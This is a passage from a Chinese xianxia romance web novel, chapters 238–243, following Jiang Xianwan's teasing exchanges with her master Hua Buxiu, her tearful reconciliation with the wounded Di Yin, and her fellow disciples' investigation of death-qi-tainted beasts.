他耳根蓦然红了,又见孽徒忍着坏笑,贴在他掌心花枝乱颤,心神骤乱,眼角也晕红了。 “孽徒。”他低低骂道。 在孽徒看不到的地方,喉结却不受控制的滚动了一下。 视线不由己控,落在眼前孽徒身上。 江献晚身着丝质柔软而轻薄的青裳,衣缘紧束,只露出一截晶莹玉白的颈子,瀑布似的乌发随发带垂至臀尖,腰肢细软,一手可握。 一双纤直的长腿掩在衣裙中,行走时,裙裾微漾,优美的线条便若隐若现。 仅仅裸露在外的小片肌肤,宛如最上好的云纱,细润若脂,粉光若腻。 却又不只是如此。 更多的像是被露水浇湿的娇嫩花瓣,隐隐渗出月晕般的微光来,白的压雪三分。 惊鸿一瞥,便是恍惚生狂痴。 目光像是被牵引一般,花不休忍不住又去看自己的青裳。 衣料别无二致,随着窗棂吹进来的风,轻晃着叠蹭在一起。 腰间两根垂落的丝带,似两只闹做一处的青蝶。 乍看上去,很有几分亲密缠绵的意味。 他看的认真,并未察觉到时间的流逝,直到江献晚安静下来。 空气中渐渐萦绕一种窒息而黏稠的暧昧,抽丝剥茧的发酵,密密实实将人缚绞。 那两扇柔软的睫毛轻轻扫过他的掌心,花不休心神一颤,骤然回神。 恍惚的眸光落在她似蒙上鲜媚脂膏的纤美颈子,突出的喉结急促翻滚,压抑的呼吸陡然凌乱。 余光不经意点过那两片饱满的红唇,口腔里更是生出一股清甜的荔枝香。 身体先他一步回想起之前她吻过来的感觉。 唇瓣温软,才贴上就仿佛要化开。 他几乎可以想象出,若是勾卷上去,定是甘甜得不像话…… 花不休狼狈的垂下了眼帘。 他甚至感觉到自己的手掌都颤抖起来,江献晚的睫毛像两扇漂亮的柔软羽毛,连拨带挑。 他无声急促吸了几口气,将突如其来的纷乱心绪,还有残留余热、莫名烧作一团的腹部强势忽略。 这辈子所有的自制力,似乎都在这一刻给拿出来了。 手指一垂,掩回大袖之中,若无其事,实则迅速偏开了眸子。 视线骤明,江献晚眼前被他掌心的温热熏的有些模糊,眨了几下睫毛,不紧不慢歪了脑瓜,去打量花美人的那张人神共愤的脸蛋。 不得不说,花美人耳尖泛红的模样,在她看来真的很新奇。 毕竟,在她心中,花美人就像那破坏力强大的哈士奇,或者比格,喜欢拆家拆人,拆天拆地。 同他那撼天摇地的人物简介倒是颇为符合。 难得能看到花美人露出这么一副可爱又可怜的模样,江献晚瞧得津津有味,心中发痒。 双手背在身后,微微倾身,贱嗖嗖的凑上去。 “师尊尊,您耳尖怎么红了?” 第 239 章 一言难尽 花不休:“……”听听这话问的? 孽徒还是人吗? 花不休耳根子都要烧着,指腹轻轻一蜷,忍了又忍,干脆学孽徒歪了脑瓜。 唇角拉出一个极其鲜明、更耐人寻味的弧度。 磁性的声线,听的人耳朵都酥了。 心……却凉了。 “帝隐他们还在虚古境中心,你要不要先去看看?” 这俩近日的精神状态,可谓是一个比一个颠三倒四。 孽徒有福了。 福气可都在后头呢。 花不休陡然说了这么一句。 江献晚:“……” 好吧,她承认。 论不是人,花美人,显然更胜一筹。 江献晚不由屏住了呼吸,邪恶的笑容也跟着僵在唇角。 还真别说,花美人是懂得拿捏她的痛点,一下就戳到她的筋了。 本来一个花美人已经很难哄了。 云为泽最近是又忙,又要抽出空跟非翎生气。 不用猜都知道,定然攒了一肚子又一肚子的气。 生不完,根本生不完。 帝隐性子虽是最好的一个,近日也被非翎那张嘴撩拨满腹委屈,就跟有抑郁的倾向似的。 再加上他想儿子,又想她,每日又乖又破防,恐怕一见她,眼圈又得红了。 江献晚在花不休满是恶意的笑容中,慢慢站直身体。 师徒俩一个回合下来,可谓是半斤八两,谁都没讨到便宜。 但是。 花美人明显想要一振师纲,笑容愈发令人窒息,紧咬不放。 饶有兴致,悠悠看她。 “怕了?” 怕? 江献晚闻声轻笑了一下。 不是她吹,她现在可是有很丰富的、处理小妾争风吃醋的经验。 一抬下巴,嗤之以鼻。 “小小帝尊,拿捏拿捏。” 花不休先拿捏了她的后颈,欺近一寸,笑容在脸上持续绽放,恰似盛极的优昙。 刻意咬着字音的低低嗓音,坠着几分玩味。 活像只没道德、没心肝的恶魔。 “为师祝你平安。” 孽徒点了魔域黑塔,亲口承认狐狸大房的名分。 又是魔后,又是妖后。 狐狸和那小贱魔在信道中,那是上蹿下跳,不分昼夜的炫耀。 生怕气不死他们仨。 帝隐如今乖顺的可谓是闻者软了心,见者软了魂,又占着行行亲爹的名头。 经过日日不懈的努力,不难看出孽徒终究是软了心。 且与行行关系修补的不错。 只不过,帝隐心中有愧,还对自个不自信,一天到晚心里装的尽是孽徒与江行行,想的人都要碎了。 又不得不强行克制,每一步都思虑再三,如履薄冰。 北帝尊是很好哄,孽徒肯与他说两句话,他便能自个把自个给幸福的当场死过去。 余下那个被她啃了摸了,还得不到一点安抚的男人,也就是他弟。 已然默默的疯了。 整日面对信道中她那几个男人的一来二去,道心都要不稳。 那是一日一日的消沉下去,活似蒙了尘的珠光,哪里还有半点帝尊的模样。 昨晚闲下来坐在一起饮酒,帝隐两杯酒下肚,攥着玉简,提起孽徒与江行行,那是睫毛挂泪,眼眶湿红。 云为泽一杯接着一杯,半天放不出个屁。 喝大了,垂着睫毛,抱着膝头的酒坛子,黯淡到尘埃里。 江献晚:“……” 这一回合,花美人略胜一筹。 两师徒无言对视半晌,神情诡异,谁也不看谁,并行一步踏出房间。 “咔嚓”一声脆响,江献晚另一只脚还未迈出,花不休扣了她的腰身,纳入怀中。 果不其然,一道圣洁白衣的身影出现在视线。 花不休和江献晚不约而同抬眸,本就淡淡的神色愈发冷漠。 林轻染刚到,经过此处,与师徒二人正面相迎,愣了几秒后,面庞挤出令人挑不出半点错的笑意。 她看着偎在一起的师徒,眸底曳出一抹狰狞而又惧怕的复杂神色。 落在江献晚身上,摁着心头喷薄欲出的恨意,朝花不休行了弟子礼。 花不休只一眼便收回冷淡的视线,扶稳江献晚的腰肢,“能走吗?” 见她左脚单跳几下,说能,俯身抱起她,将她放在旁边还算平整的石块上。 单膝及地,修匀的指骨轻握上那截浮肿的脚踝,顿了一下,“胖了。” 江献晚:“……”我请问呢,您礼貌吗? 花不休眉心蹙的愈发紧,余光瞥见默默站在远处的苏清流和白子夜快步走来,背过身,轻声道:“孽徒,上来。” 江献晚眸子一亮,果断报了方才略逊一筹的仇,一个猛扑。 花不休早有准备,身形丝毫未晃动,稳稳的托着她两条腿儿起身。 “孽徒,你想勒死为师,继承为师的遗产吗?” “您那天文数字的欠款吗?” “……别逼为师扇你。” “所以,这就是徒儿一直没有师娘的原因?” 太粗鲁了。 “滚!” 花不休抽出一只手摁在她脸上,顺势将孽徒那牙尖嘴利,惹人气恼的唇堵了。 “唔……您托好徒儿啊!” 林轻染望着吵吵闹闹进了屋中的师徒,站立片刻,冷着脸拦下匆匆经过的万古宗弟子。 “我师尊在哪?” 透过简陋的窗户,师徒二人将她变脸的过程看了个大概。 江献晚撑着脸,目送林轻染离开,自言自语道:“雾掌门真是好福气。” 教出来的弟子,若真成了界皇,想必在外人看来,倒是万古宗一大喜事。 花不休褪去她的鞋袜,掌心握着那只莹白的脚搁在膝头,悠悠道:“为师更是有福。” 收了个只会来气他的孽徒。 “是吧?弟子也不差吧?” 闻言,花不休呵呵轻笑一声,一边握着她的脚踝活动了一下,一边散漫的拖长了嗓音。 “是不差,若不然为师又如何能体会到侍候人的感觉。” 江献晚:“……” “您养我大,我养您老啊师尊尊。” 花不休气笑,腾出一只手弹她脑门,“再和为师讲这些歪理,为师扒你的皮。” “不过,说起雾渺,倒像是变了一个人。” 想起云为泽那句很有画面感的形容,江献晚顿时来了兴趣,“您也看出来了?” 花不休轻轻“唔”了一声。 “一言难尽。” 江献晚很快明白了什么叫‘像是被人强行摁在枕席间羞辱了三日三夜,摇摇欲坠的’和‘一言难尽’。 第 240 章 变了 她原地蹦跳了两下,再次踏出屋子,雾渺一身锦缎玄袍,步履极快,从屋中走出。 眉宇之间带着显而易见的抗拒和厌倦,身后跟着双眼微红的林轻染,和冷着脸、始终低着头,不知在想什么的裴长安。 正颠锅的林玉锦,捏着一撮灵植,丝滑的从不远处几位长老旁飘了过来。 压低声音。 “小师妹,你有没有觉得雾掌门好像有点不对劲。” 背都挺不直了。 灰头土脸的时云霄不知从哪里跟个幽灵似的,挤开苏清流,冒了出来,小臂悄无声息压上江献晚的肩。 先是阴阳怪气打了个招呼。 “哟,我就说今天左眼皮一直跳,合着是邪祟回来了?” 不等江献晚说话,又拿两根手指头揪了她的耳朵,扯过来一些,趴上去,小声劲劲的八卦。 “我见他也是吓了一跳,雾掌门多风华的一个人,你说说,现在怎么变成这样了?不知道的还以为他家办丧事呢!” “一天到晚耷拉个脸,话都不肯说了,他跟咱家掌门他们在一起议事,雾掌门从头到尾,只嗯。” 说着说着,胳膊一圈,再锁了江献晚的脖儿。 “最近我还听到很多弟子私下里讨论这个事。” “我昨天还跟他们八卦了,邪祟,你想不想听听?” 江献晚:“……” 之前一口一个师妹,现在一口一个邪祟。 所以,爱真的会消失吗? 江献晚沉默了一下,默默用力扒开时云霄的胳膊,“时师兄,你想杀了我,直接说。” 狗狗祟祟来锁她脖儿,可见对她的意见和针对,并没有随着他们之间的久久不见而减褪一指甲盖。 甚至,到了一种至死方休的疯魔。 别说。 时云霄现在……可真是个半点不注意形象(划重点)的碎嘴子。 再塞给他一把瓜子,他那张小嘴估计能叭叭一天都不带停的。 疯了,治不了一点。 俩人一对眼,火花登时碰撞的格外大。 其中,还含着铮铮有声的刀光剑影,一阵激烈的噼里啪啦。 时云霄微微一笑,嘴巴一张,无声道:呵呵,你这个邪祟,我永远都不会放过你的。 她走了,都没放过他。 他穿个大裤衩,被小紫那个狗东西挂在树杈上的事儿,有俩别的宗、上门来找祝茵曼吹喇叭的、缺心眼的姐妹刚好看见。 最后还给传出去了。 传的还特么不对! 说他溜着鸟,挂上空挡,水灵灵的就冲了。 瞅瞅,这特么是人话吗! 他什么时候遛鸟了!!! 都是江献晚跟小紫那个狗东西给害的!!! 自打他来了虚古境,其他五大宗的人,那是对着他指指又点点。 说他渡个雷,都那么骚。 他一怒之下,上去就把人几个的嘴巴子给撕了! 江献晚:“……”真的,她感觉到了。 这何尝不算时师兄,对她深沉而热烈的一种友爱! 想到时云霄朝着一群弟子长老,癫狂的大叫说:“诽谤!你们这是诽谤!我没遛鸟!没、遛、鸟——!!!” 旁边苏清流和白子夜,一言难尽的瞅了他一眼。 两人随即又是轻轻一点头,“确实变了。” 江献晚推开时云霄朝她呲牙的脸,望着雾渺的身影,若有所思。 雾渺性格有些复杂,糅合很多小特点,看起来很好相处,又给人有种不敢造次,退避三舍的距离感。 接触多了,便能知其随性有趣,闲看月升日落,烂漫又细腻。 每次见她,眼泛笑意,来上一句,“早早啊。” 如今再见,整个人周遭的光都黯淡到极致,再无闲适悠然,发丝都爬满颓废。 就跟她第一次见到大师兄,厌世一般,随时都能想不开,寻根绳子上吊。 江献晚收回目光,雾渺恰巧朝这个方向看了过来。 他抿了抿唇,似乎想说什么。 扫过她身旁几人,睫帘一垂,径直举步甩开林轻染,逐渐消失在林间。 林玉锦塞嘴里一根灵植:“卧槽,我怎么感觉他想寻死啊?” 白子夜很是赞同:“好怕他忽然从袖子里掏出一团麻绳。” 时云霄磕着从江献晚那里搜刮过来的瓜子,呸地一下,粗鲁的朝一旁吐了一口瓜子皮。 啧啧摇头,接话:“自己往上一挂。” 又嘚吧嘚吧。 “听说万古宗长老,每日就跟盯贼似的,一天到晚偷偷摸摸盯着他,要么就是裴长安盯。” “我还特意问了裴长安一下,当然,我问他的时候,出于礼貌,给了他一个苹果,谁知道他瞥了我一眼,还不要我的苹果就走了。” “呵,小气,说一下会死啊!还是说裴长安他不喜欢苹……” 江献晚:“……” 伸出三根手指头,果断揪了时云霄的嘴。 幸好,弟子交接巡视的时间到了,江献晚果断抬腿,一脚把还想说什么的时云霄,踹进最近的屋中。 世界……终于安静下来。 白子夜阵法修的惊艳,近日免不了被长老拉去出力,在灵塔附近布阵时,遇到几头发狂的异兽,折了手腕,又是筋疲力尽,便留在屋内休息。 林玉锦丹术在太虚宗弟子中,同样是最厉害的那个,眼前又需要大量的回灵丹。 还没来得及再八卦两句,就被他们自家明长老揪着耳朵拎走了。 花不休带苏清流和江献晚去了瞭望台。 江献晚见到了秦秦。 秦秦怀揽长剑,听到动静,偏过眸时,微微一怔。 “剑尊。” 眸子一划,掠过苏清流,恍惚的视线落在江献晚身上。 许久之后。 轻声道:“晚晚师妹。” 苏清流:“……” 花不休:“……” 听他喊晚晚师妹,江献晚笑着点点头,“秦师兄。” 看他面颊沾着灰尘,指了指自己的面颊,“这里,有泥。” 秦秦耳尖一红,抿出两个浅浅的梨涡,忙举袖擦了擦脸。 随后,向江献晚投以局促而认真的目光。 江献晚忍不住噗嗤笑了出来,又看他一本正经,强撑镇定的模样,干脆拿自个的袖子给他擦了一下。 “现在没有了。” 苏清流:“……” 花不休:“……” 花不休直接扯了孽徒的手腕,将她转了个方向,让她去看灵塔。 望着被围在中间的那道身影,秦秦握剑的指骨慢慢收紧,眼底划过一丝落寞。 垂落一双睫毛,压下心头涩然的滋味,缓缓转身。 花不休:“六处瞭望台由六宗弟子轮换值守,太虚宗负责正南,其余长老亦会不间断的巡视。” 说着,抬手指向虚古境中心。 “那处损坏的灵塔,帝隐和云为泽还在修补。” 花不休声音一止,忽见远处又是异兽暴动,与苏清流飞身掠去。 一旦有异兽暴动,便会牵连更大的区域,所以,最好在兽潮扩大之前,及时驱散制止。 第 241 章 哄鱼 瞭望台布有阵法,江献晚站在边缘,遥望中心那座灵塔。 玄奥而繁复的耀目符文,围绕着塔身不停的转动,看上去极为震撼。 那样浩浩荡荡,滂沛无边的强大灵力,是两位帝尊才有的恐怖力量。 她伸出手,随意从树叶上牵过来一缕阴涩的气息。 五指轻轻一握,死气悄然消散于无形,灵力重新没入掌心。 虚古境广袤,如今死气充斥,就算能寻回厄弓,重开之日,又要等到何时。 这些死气,只怕是随时都能爆发的一大隐患。 江献晚巡视周围,看向那条水面浮着一层薄薄黑气的蜿蜒溪流。 她记得的玄古境大赛时,这条溪流还算清澈,颜色浅碧,他们经过此处,还洗了一下脸。 灵力一转,裹了那只趴在树叶上睡觉的白腹树娃,托举到眼前。 果不其然,这只异兽体内也浸染着死气。 垂眸想了想,用灵力将其包裹,牵出一缕死气,尝试净化。 然而,灵力方一波动,那树蛙的眼睛陡然溢出淡淡的黑气,随之一口毒液喷出。 江献晚偏头躲开,毫不犹豫扯出那缕死气,树蛙瞬间安静下来。 只是,那一双眨巴着的清澈大眼睛,无不昭示,这蛙可能被她粗暴的举动……给弄傻了。 她又试了两头体型稍大的异兽,正思索着,虚空跃过一条巨大的鱼影,曳着细碎的冰雪,直奔瞭望台,炮弹似的冲了过来。 江献晚看着那力度,那冲势,唇角微微一抽。 就知道……哄鱼的时间到了。 果断将异兽往外一抛,双手一伸,双脚稳扎,稳稳接住一头猛扎过来,想将她创死的胖鱼。 “怎么感觉重了?” 刚想说“我想你想的吃不下饭”的鱼小白哽了一下,两行准备就绪的鱼泪一止。 尴尬的咳了一声,明智的放弃这句开场白,眨了眨水汪汪的鱼眼,重新调整情绪。 豆大的泪珠子刷地一下,说落就落,比线断的都麻溜。 一脑袋扎她怀中,并……举起两只鱼鳍疯狂扇她。 嚎啕大哭! “没良心的女人,你还知道来?你知不知道鱼好想你!” “你知不知道鱼等你等的多辛苦!” “鱼明明都瘦了!你还嫌弃鱼胖!呜呜呜!江献晚!鱼生气了!鱼真的生气了!” 它孤家寡鱼跟着主人,过的那叫一个风吹日晒、风霜雨淋、风吹雨打、风雨交加、风平浪静。 主人不许它去妖域找江献晚和江行行,还要没人疼没人爱的鱼不分昼夜帮他撑阵,把鱼当不要钱的苦力! 鱼越想越委屈,越委屈哭的越大声。 哭到伤心处,打着嗝吐她脸上几个泡泡。 眼瞅着哭的死去活来、情难自已的鱼小白,鱼鳍都扑棱出残影,江献晚差点没能抱住它。 忙摁了它的脑瓜,去摸它小角。 “我不是每天都有给你回信吗?” “行行不是每天也会陪你聊天吗?” 说到这里,鱼更委屈了,拿脑袋一撞她,顺便把泪珠子拱她身上。 鱼脑袋左右狂甩。 “鱼不听鱼不听鱼不听!” “你休想让鱼心软,你明明有八十一次没回鱼信息!鱼数了!鱼都记着!” “呜呜呜!鱼真的生气了!你这个没良心的女人!” “鱼要离家出走!” “鱼现在就要离家出走!” 江献晚:“……”别说,它鱼脑记的还挺清。 谁再说鱼七秒记忆,她江献晚第一个不同意! 江献晚认命的举起它亲了亲它的小角,岔开话题。 “你怎么知道我来了?” 被亲了的鱼小白,哭声一止,转眼将离家出走抛到鱼脑后,白白胖胖的鱼身飞快染上一层粉粉嫩嫩的颜色。 扭捏的甩了甩鱼尾巴,“他说,觉得你好像来了。” “要不是为了撑阵,鱼早就出来找你了。” 鱼说着,眨巴着湿漉漉的鱼眼,支支吾吾,“那你有没有想鱼?” 江献晚掐着它的鱼鳍,使劲亲了一下它的脑瓜,就差举手发誓。 “你说呢鱼小白?我想你想的饭都吃不下!” “虽然有那么些次没回你信息,可我的心一直在鱼这里啊!” 鱼小白羞的彻头彻尾成了一条活似在胭脂堆里滚过的粉鱼。 羞答答道:“真的?” “真,比珍珠还真。” 不真也得真。 它再哭下去,估计能给她就地洗个冷水澡。 鱼满意了,别别扭扭道:“那好吧,鱼勉强原谅你了。” 精明的鱼眼又是骨碌碌一转,“那你想不想他?” 江献晚沉默须臾,“他俩现在怎么样了?” 谁知道,这一句像是抠上了鱼的腮,鱼小白突然激动起来。 “南帝尊好的很,活蹦乱跳的,就是主人受了重伤!” 内伤。 想你想的。 挺严重的。 走火入魔。 语气十足勾引。 “很重很重哦,你要不要去见他最后一面?” 鱼小白最近满脑子想的都是撮合他俩,这样他们一家四口就能天天在一起。 鱼也会有一个完整的家了! 江献晚唇角抽动。 最后一面? 鱼说谎话能不能先打打草稿,两位帝尊一起,南帝尊无事,北帝尊直接一个重伤? 还被鱼说死了? 江献晚没有放在心上,掐着粉嫩嫩的大胖鱼,“你这么说,帝隐知道吗?” 鱼小白鱼嘴一张,老神在在的道:“心结之症,绝症,非药石可医。” 只有江献晚可医。 “他最近道心都乱了。” 江献晚忙捂了鱼嘴,“莫要胡说。” 鱼甩着尾巴,努力挤出两滴泪,“那你说嘛,要不要去看看他。” “他最近真的很不开心。” 江献晚无奈的点头,“等他忙完,再看。” 她就算不去,帝隐第一时间也会来寻她。 念头方落,忽觉强大的灵力气流,呈圆形趋势自虚古境中心静,朝着四方八方荡开。 那处灵塔周身的符文更是飞速旋转起来,灵塔自上而下,宛如瞬间通电般,迸射出一片刺目的灵光。 江献晚转身之际,便闻到一股扑鼻的血腥气。 那人玄衣银发,如雪中独出一枝雪梅,足尖轻点,仙鹤敛翼般。 广袖垂落,长及足踝的银发淌过丝质顺滑的玄衣,似流云归岫,未惊起一粒微尘。 他脚步虚浮,踉跄疾行了两步,忽而又顿住,静静驻足两步之遥的距离。 第 242 章 原谅你了 江献晚视线一垂,落在他胸前银发上早已干涸的血迹,目光又重新回到他面庞上。 依旧是玉雕般的面容,眼睫织雾,唇色极淡,唯有唇珠渗出点微淡的绛色。 让她错愕和不能立刻回神的是,那张脸仿佛已不是活人面庞。 像彻底褪尽了生机,被抽空灵魂的死白,近乎痉挛的僵硬。 只尚余一种毫无暖意,触目惊心的苍白废墟。 一见她,乌睫似泥泞挣扎的蝶,微弱的一颤,琉璃似的眸薄红尽染,从最深处渗出血雾。 唇瓣几番翕和,哑声轻唤出声,似怕惊到眼前人。 “晚晚。” 帝隐指尖微动,步履轻抬,终是克制按捺,将手垂回袖中,不知如何,安静的停立原地,像一座被遗忘在角落的石像。 他呼吸轻的几不可闻,透过雾气,试图看清眼前人,视线却一层一层模糊开来。 江献晚眸光轻晃着恍惚,张了张唇,竟发不出任何声音。 既是无措,又是哀色。 她哪里不知,上次分别太过仓促,又很乱,帝隐来不及与她说什么,亦不敢贸然亲近江行行。 这些日子,与江行行和她的传信,字字斟酌、按行自抑。 他自己呢? 无人与他开解,又会如何悬心吊胆,一次次的崩溃,度日如年的煎熬和自责痛苦。 江献晚闭了闭眸子。 她不得不承认,她并不想看到这种模样的帝隐。 事到如今,她亦不欲再想再提及从前之事。 以身换生,离开北境,而后生下江行行,隐瞒江行行的存在,本来都是她自己的选择。 江献晚提足朝他迈出一步。 那张清冽的面容,随着她靠近的举动轰然无法自控的崩裂,睫毛上悬着的泪,淌了满颊满腮。 帝隐身子摇晃了一下,慌乱努力的举步。 他不敢去触碰江献晚,双目汲红,低喘一声,也令他战栗起来。 这张脸,似乎就这样凝固在大雨滂沱中,只余一丝将熄而痛楚的余烬在挣扎。 江献晚环上了他的腰。 便听到强撑已久,如同困兽般,从喉咙底下发出狰狞的“喀喀”声,唇齿间带着血的腥风。 一双手臂颤抖而克制的回拥了她,有温热的泪迅速浸透她的衣裳。 “晚晚……” 他试图咬紧牙关,口唇渗血,一声声濒死般的呜咽却还是泄露出来。 “行行……” “对不起……” “对不起……” 他根本想不出江献晚孤身离开万古宗,吃了多少苦。 在一种怎样的心情和情况下,拖着笨重的身子,生下了行行。 行行如何呱呱坠地,在襁褓中,慢慢长成这般大的模样。 所有的,他都没参与。 他千遍万遍的去想象。 难以喘息。 阖上眸子,便是一大一小,两张面容。 很痛。 帝隐神智尽乱,灵力逆冲经脉,撑着高大的身躯,不肯倒下。 喉咙里咯咯作响,血水从紧抿的唇角一股一股涌了出来。 潜意识怕弄脏江献晚的衣裳,无用功般的试图吞咽。 双臂无力垂落,脚下踉跄,想要退开。 江献晚心中一惊,顾不得轻倚在遥远处的树干,静静望着这一幕的云为泽。 一条手臂圈紧那段细细发抖的腰身,任凭流不尽的血液冲刷过她的肩膀。 她顺着帝隐颤抖的脊背,缓缓轻抚了一下。 唤他。 “帝隐。” 鱼小白飘在一旁,大气都不敢喘,只能焦急着甩尾巴。 江献晚肩头被浸的湿热,裙角晕开一片片血迹。 她感觉到有什么东西压抑的要崩塌,碾碎在荒芜。 忙捧了他的面,才发现那双雪洗的眸子早已洇的血红,眼膜上无数破碎的影像。 江献晚心中竟不知其味,眼中雾气凝聚,还有一丝不自知的酸涩和慌张。 她努力放松,柔声轻唤。 “帝隐,你听,行行在唤你。” “行行,他在唤你。” 那下巴淌着血迹泪珠的男人,便屏住呼吸,静止不动。 扩散的眸子,混乱而又空洞着缓缓垂落,泪便淌湿了的江献晚的双手。 望着那双没有焦距的眼睛,江献晚紧张的忘记呼吸。 鱼小白没骗她。 帝隐道心要碎了。 她潮湿的掌心,仿佛捧着一线痛楚维系着最后的一点生机,不敢放松分毫。 紧张的注意着他的反应,努力弯了眸子,使得自己很放松,声音带着几分狡黠的笑意。 “行行昨晚又在跟白羽坐在一起捏包子,就是捏的还不够漂亮,馅儿调的也不太好,他想再跟你学一下。” “行行跟你说了吗?” 帝隐直直的看着她,浑浊的眸子缓慢一动,全然不成声的嗓音从血水中模糊冒了出来。 却是。 “是……我错……” 他不受控制,细细发起抖来,仿佛有无数冰棱在识海深处同时断裂粉碎。 眼圈凛冽的猩红,瞳孔血腥弥漫,是妖异暗红,黏稠如沥青的虚无,此刻叠混着泪水。 一遍又一遍的涌出。 “是我错……” “是我错了……” 看着挺拔却脆如薄纸的男人,江献晚轻轻眨了一下潮湿的睫毛。 她缓缓松开手,环上他的腰身,将面颊偎在他心口。 声音很轻。 有一点濡湿。 “原谅你了。” “没有生你的气。” “我们的行行,在等你。” “我也……不跑了。” “帝隐,你今日怎么没有为我做饭……” “还有,昨晚我睡着了,今天醒来才看见你的传信,你昨晚是不是跟人喝酒了?我都听出来了……” 她嘟嘟囔囔,东扯一句西扯一句,似乎想到哪里,说到哪里,像是在拉家常。 直到双臂中的男人逐渐安静下来,模模糊糊努力应她。 江献晚身子一晃,花不休稳稳托了她的腰肢。 鱼小白吓的一哆嗦,就要冲过去,被苏清流眼疾手快,一把捞了过来,捂了鱼嘴。 云为泽双指并拢,灵力没入帝隐眉心,低声道:“他灵力紊乱,这里我守着,你们先带他回去。” 花不休从江献晚那双微红的眸子上挪开视线,侧眸看向疲倦半垂着一双睫毛,不知在想什么的云为泽。 “你灵力透支,我留在此处。” 孽徒守着,她又与帝隐灵根相同,再合适不过。 云为泽抿唇不语,手堪堪去扶,江献晚俯身将人抱起。 “我先带他回去。” 望着迅速消失在视线的两道身影,云为泽微怔,云袖缓缓垂落。 第 243 章 不要屎味的 她坐在矮凳上,脑袋空空,一边一口没一口的啃着苹果,一边视线没有焦距的看着榻间男人清冷的眉眼。 帝隐睡的很沉,似乎是太久没有休息的缘故。 眉目宛然,乌睫绵软的阖合,在眼睑下投落两团略深的剪影。 如明珠生晕,双颊是冷瓷的白,气息清浅而微促,姿态并非全然松懈。 昨夜平静的兵荒马乱,只有江献晚知道,眼前这个男人险些一命呜呼。 好在,一切都不晚。 只是,帝隐这一觉,恐怕要睡上很久。 江献晚微微侧了点身,挡严窗棂斜斜楔入的光束,又手痒的摸了摸他月华似的银发。 昨晚她嘚吧了半夜,这个昏厥的男人才慢慢放松下来,像是被抽空的虚弱,沉沉陷入昏睡。 一只手握着她的手腕,没有用力,就这么整整一夜。 江献晚啃完苹果,尝试着抽了一下手,那削瘦的指骨立时惊动。 挣扎着,犹豫着。 而后,微微蜷了一下。 像是不敢,又像是被偏爱后的可怜放肆。 江献晚手心覆在他冷白的手背上,唇凑过去,鼻尖蹭开他鬓角的发丝,压低的声音带着坏坏的笑。 “我听见明长老炸炉了,嘿嘿……肯定是林轻染去了。” 难得啊,明长老也能炸炉。 小师兄笑的那叫一个此起彼伏的“鹅鹅鹅鹅鹅鹅!” 江献晚感觉到手心下犹豫而惊慌的细微反应,听着明长老骂骂咧咧的声音,按捺不住看热闹的心,还有……坐疼的屁股。 轻轻捏了捏他的脸颊。 “我出去玩儿会,你先乖乖睡,睡醒了就自个出来找我。” “对了,行行让我给你带的包子,我待会儿放在桌子上,你醒了记得吃。” “不过,你就一屉,他给狐狸留了三屉。狐狸硬是把那三屉包子给吃完了,闹了一天肚子。” 帝隐:“……” “当然,撑坏肚子这么丢脸的事,他肯定不会说。” 狐狸跟非翎打完架,抱着三屉热气腾腾的包子。 一边私下哭啼啼给她发信息,一边在‘相亲相爱一家人’里,敲锣打鼓的炫耀他儿子给他蒸的小包子。 对帝隐得到的那屉,闭口不提。 非翎捏着一个厚着脸皮抢过来的包子,掐着嗓子,拆狐狸的台。 “哥哥,这包子似乎是行行特意为晚晚蒸的呢~” 狐狸:“……” “鹅鹅鹅鹅鹅!”江献晚也不知道突然戳中了哪根筋,笑的好大声。 帝隐:“……” 那根根有些绷紧的指骨,缓慢的打开,乖乖由着江献晚摆了个舒服的姿势,便不动了。 江献晚将打着小呼噜的鱼,搁在他手边,起身活动了一下胳膊腿儿,又将一屉包子轻轻搁在桌上。 屋外空地。 他们家明长老和其他五大宗几位颇有威望的炼丹师,围着炼丹炉讨论着什么,其中一袭白裙分外惹眼。 江献晚一眼扫去,没看多久,就被白子夜拉进另一间屋中,苏清流和林玉锦一人扣上了半扇门。 师兄弟妹四人默契的各自施加了一道灵力结界。 苏清流先说昨晚夜间巡视时遇到的情况。 “那些高阶异兽看起来还保留些神智,低阶异兽更容易发狂,四肢虽是僵硬,速度和战斗力却强了不止几倍,厮杀起来,像是不死不休一般。” 林玉锦:“昨晚我解剖的那头低阶异兽,划拉了三下,才划拉开。” 白子夜:“前几日我遇到一头死去的异兽,看起来死了很久,躯体却无一丝腐烂的迹象,便顺手将它烧了。” 江献晚双眉微蹙。 怎么给人有种丧尸或僵尸的感觉? 想到昨晚解剖的异兽,林玉锦心中有些忐忑,“是这样,我也感觉到了,怎么觉得这玩意好像能再活过来似的?” 江献晚:“那些死掉的异兽都烧了吗?” 白子夜:“烧了,我怕留下什么隐患,跟明长老他们说了一下,六宗弟子再进去,就将碰到的那些异兽尸体全烧了。” 林玉锦:“我去看过那个被死气入体的弟子了,不过,到现在还没能炼出很有效的解药,明长老他们不敢给他吃。” 白子夜透过窗棂,看向同几位长老站在一处的林轻染,神色晦暗莫测。 他指尖灵笔缓缓一止,敲击在掌心,“她昨晚也去看过那个弟子,今日起了个早。” 苏清流观察了一会儿,一语中的,“我觉得她能治好那个弟子。” 对比长老们对每一种灵植用量的谨慎,林轻染看起来倒像是很随意,随手捡些灵植,便放入了炼丹炉。 他不擅医术,都能看的出那几味灵植中和下来,并不会有什么出奇的效果。 但林轻染却没有任何担心的反应,隐隐给人一种胜券在握的感觉。 江献晚眸光闪了闪。 只是,林轻染会用什么办法,在不伤害到那位弟子的情况下将死气拔除? 仅凭丹药? 不可能。 明长老和其他几位长老在医术方面的造诣,自不是虚有其表。 围在一处这么久,齐心协力都没能炼制出很有用的丹药, “走,去看看。” 闲着也是闲着。 四人撤了结界,围到正在忙忙碌碌的几位长老身旁。 明长老余光瞥见江献晚,头也不抬,将她揪了过来。 “别闲着,来,掏出你的锅,拿些灵植,去一旁颠几锅回灵丹。” 如今进入虚古境,需得不停运转灵力,导致回灵丹消耗巨大。 他们为了尽快炼制出针对那位被死气入体的弟子的解药,忙了两夜一日,水都顾不上喝,急的头发都快秃了。 本来打算再叫几个修习丹术的亲传过来支援,刚好江献晚和林玉锦及时赶到。 这俩小崽子比拉磨的驴可好使太多了! 一颠就是一锅。 效率高,质量好。 昨晚林玉锦硬生生颠了半夜,及时将回灵丹给续上了。 不过,想到什么,明长老一激灵,赶忙摁住江献晚挑灵植的手。 “不要屎味的!” 虽说他们太虚宗早就无脸可丟,全宗上下宛如脱缰的野马,朝着放荡不羁的方向,尽情策马奔腾。 太草峰弟子现在更是不管炼什么,都是屎味丹。 他倒不是害怕丢脸。 主要就是担心江献晚那一骑绝尘的屎味丹,会把其他五宗弟子吃吐。 